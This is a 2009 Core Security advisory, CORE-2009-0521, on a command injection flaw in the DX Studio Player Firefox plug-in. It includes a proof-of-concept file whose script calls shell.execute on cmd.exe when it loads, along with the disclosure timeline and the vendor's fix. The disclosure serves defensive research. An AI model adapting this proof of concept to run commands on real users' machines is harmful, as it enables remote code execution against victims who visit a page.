DX Studio Player Firefox plug-in command injection

Core Security - CoreLabs

DX Studio Player Firefox plug-in command injection

Advisory Information

Title: DX Studio Player Firefox plug-in command injection
Advisory ID: CORE-2009-0521
Advisory URL: http://www.coresecurity.com/content/DXStudio-player-firefox-plugin
Date published: 2009-06-09
Date of last update: 2009-06-08
Vendors contacted: Worldweaver
Release mode: Coordinated release

Vulnerability Information

Class: Command injection
Remotely Exploitable: Yes
Locally Exploitable: No
Bugtraq ID: N/A
CVE Name: CVE-2009-2011

Vulnerability Description

DX Studio
is a complete integrated development
environment for creating interactive 3D graphics.
DX Studio Player plug-in for Firefox

is vulnerable to a remote command execution vulnerability.

Vulnerable packages

  • DX Studio Player v3.0.29.0
  • DX Studio Player v3.0.22.0
  • DX Studio Player v3.0.12.0
  • Older versions are probably affected too, but they were not checked.

Non-vulnerable packages

  • DX Studio Player v3.0.29.1

Vendor Information, Solutions and Workarounds

On 1st June DXStudio team patched the current release 3.0.29 to for all new downloads to fix the problem with Firefox, and also
posted a sticky announce for all our users


This vulnerability was discovered and researched by Diego Juarez
from Core Security Technologies.

Technical Description / Proof of Concept Code

DX Studio is a complete integrated development
environment for creating interactive 3D graphics. DX Studio
provides a javascript API in which the method
shell.execute() is defined as follows:

shell.execute(commandString, [paramString], [commandIsProgId]);

This method sends the commandString
to the Windows shell with optional parameters in
For security reasons, this function is not available when running in a
web browser. If you set commandIsProgId to true,
you can launch a utility by its ProgID,
e.g. WMP.DVD with parameter
play would play a DVD in Windows Media Player.

In our tests, despite what is stated in the documentation, we found that the function is
actually available to both the Internet Explorer and Firefox browser plug-ins.
In the IE plug-in the user does get a warning about the security
implications of allowing such .dxstudio
file to run. On Firefox however, there is no such warning whatsoever,
allowing an attacker to execute arbitrary code on the client side by luring
the victim into clicking a link or visiting a malicious website.

Proof of Concept (header.xml)

<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<dxstudio version="1.0.0" width="800" height="600" defaultscriptlanguage="javascript">
  <display frame="yes" hidecursor="no" hideconsole="no" hidecontext="no" maxfps="100" unthrottled="no" priority="normal" syncrefresh="yes" changeresolution="no" userresize="yes" workarea="no" windowmask="no" src="" minplayerversion="1.0.0">
    <loading console="yes" custom="no" custombackground="no" customlogo="yes" showversion="no">
      <prop id="background" type="color" r="0" g="0" b="0" a="1" />
      <logo src="" />
      <customprogress />
    <![CDATA[function onInit()
shell.execute("cmd.exe","/k cls|@echo this is wrong, very wrong.")
} ] ]> 
  <licenseinfo stamp="cgdaaaaa" />
    <prop id="password" type="string" value="" />
    <prop id="allowplayer" type="bool" state="no" />
    <prop id="nocache" type="bool" state="yes" />

Note: The security vulnerability is also exploitable on the
standalone player, however, this functionality appears to be
the expected behavior and fully intended for the standalone player.

Report Timeline

  • 2009-05-21:
    Core Security Technologies notifies the Worldweaver Support Team (WST)
    of the vulnerability and announces its initial plan to publish
    the content on June 15th, 2009.
  • 2009-05-26:

    The WST asks Core for a technical description
    of the vulnerability.
  • 2009-05-26:

    Technical details sent to WST by Core.
  • 2009-06-08:

    Core asks WST for an estimated date to fix this issue.
  • 2009-06-08:

    WST notifies Core that a fix has already been produced and it is
    available to the users.
  • 2009-06-09:

    The advisory CORE-2009-0521 is published.


[1] http://www.dxstudio.com.

[2] http://www.dxstudio.com/download2.aspx.

[3] http://www.dxstudio.com/forumtopic.aspx?topicid=b4152459-fb5f-4933-b700-b3fbd54f6bfd

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The contents of this advisory are copyright (c) 2009 Core Security Technologies and
(c) 2009 CoreLabs, and may be distributed freely provided
that no fee is charged for this distribution and proper credit is given.


This advisory has been signed with the GPG key of Core Security Technologies advisories
team, which is available for download at

Locally Exploitable: 
Remotely Exploitable: 
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